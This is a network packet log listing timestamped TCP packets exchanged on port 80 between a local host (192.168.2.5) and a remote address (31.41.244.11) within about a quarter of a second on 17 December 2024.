Dec 17, 2024 08:03:10.974958897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.975785017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.975841999 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.975922108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.975970030 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.976840973 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.976897955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.976942062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.977006912 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.977854013 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.977930069 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.977972984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.978024006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.978843927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.978898048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.978948116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.978993893 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.979873896 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.979928970 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.979981899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.980026960 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.980911970 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.980962038 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.980976105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.981019020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.981925011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.982008934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.982038975 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.982084036 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.982950926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.983010054 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.983056068 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.983104944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.983978987 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.984033108 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.984078884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.984124899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.984987020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.985048056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.985079050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.985126019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.986021996 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.986077070 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.986151934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.986208916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.987066984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.987138033 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.987159014 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.987222910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.988081932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.988161087 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.988253117 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.988312960 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.989085913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.989156008 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.989240885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.989289045 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.990112066 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.990168095 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.990236998 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.990302086 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.991139889 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.991195917 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.991278887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.991350889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.992172956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.992232084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.992320061 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.992424965 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.993191004 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.993252039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.993318081 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.993371010 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.994224072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.994283915 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.994334936 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.994388103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.995222092 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.995277882 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.995347023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.995395899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.996232033 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.996288061 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.996292114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.996341944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.997262001 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.997320890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.997390032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.997440100 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.998317957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.998374939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.998440027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.998490095 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.999298096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.999383926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.999391079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.999439955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.000330925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.000387907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.000441074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.000495911 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.001358032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.001415968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.001475096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.001532078 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.002513885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.002576113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.002614021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.002718925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.003755093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.003823042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.003864050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.003925085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.004412889 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.004473925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.004518032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.004581928 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.005440950 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.005501032 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.005573034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.005625010 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.006550074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.006608963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.006680965 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.006732941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.008065939 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.008121967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.008124113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.008177042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.009368896 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.009428024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.009501934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.009558916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.010683060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.010741949 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.010895967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.010953903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.012032986 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.012089968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.012164116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.012213945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.013493061 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.013556004 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.013645887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.013750076 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.014921904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.014987946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.015013933 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.015068054 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.015808105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.015861988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.015866041 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.015916109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.016427994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.016482115 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.016484022 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.016529083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.017309904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.017373085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.017389059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.017440081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.017822981 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.017877102 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.017885923 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.017930031 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.018328905 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.018388033 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.018457890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.018507957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.019114971 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.019149065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.019170046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.019200087 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.019717932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.019792080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.158421040 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.158492088 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.158556938 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.158557892 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.158848047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.158909082 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.159004927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.159056902 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.159878969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.159933090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.159977913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.160029888 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.160880089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.160938025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.160986900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.161039114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.161921024 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.161976099 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.162019014 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.162077904 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.163002968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.163065910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.163075924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.163132906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.164021015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.164073944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.164266109 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.164318085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.164963961 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.165020943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.165162086 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.165214062 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.165971994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.166023016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.166193962 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.166246891 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.166985989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.167038918 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.167110920 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.167160034 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.168039083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.168085098 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.168127060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.168175936 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.169128895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.169181108 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.169200897 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.169249058 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.170094967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.170147896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.170226097 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.170274973 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.171143055 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.171210051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.171241045 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.171291113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.172157049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.172209978 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.172221899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.172271013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.173139095 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.173192024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.173240900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.173363924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.174185038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.174242020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.174316883 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.174367905 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.175195932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.175250053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.175329924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.175403118 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.176373959 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.176425934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.176548958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.176601887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.177918911 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.177973986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.178018093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.178069115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.178554058 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.178606033 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.178606987 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.178662062 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.179284096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.179351091 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.179395914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.179446936 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.180293083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.180345058 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.180380106 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.180430889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.181361914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.181416988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.181500912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.181554079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.182336092 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.182390928 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.182432890 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.182482958 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.183350086 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.183414936 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.183466911 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.183542013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.184395075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.184451103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.184531927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.184587002 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.185389042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.185442924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.185498953 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.185549021 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.186434984 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.186489105 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.186547041 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.186597109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.187444925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.187513113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.187547922 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.187597990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.188492060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.188544989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.188575029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.188636065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.189500093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.189548969 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.189590931 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.189639091 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.190551043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.190604925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.190643072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.190692902 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.191557884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.191612959 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.191716909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.191767931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.192586899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.192641020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.192656994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.192708015 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.193624020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.193679094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.193752050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.193805933 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.194608927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.194664955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.194708109 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.194758892 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.195679903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.195729971 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.195754051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.195805073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.196660042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.196712971 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.196753979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.196804047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.197686911 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.197746992 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.197846889 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.197900057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.198714972 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.198781967 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.198821068 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.198868990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.199728012 CET	80	49822	31.41.244.11	192.168.2.5
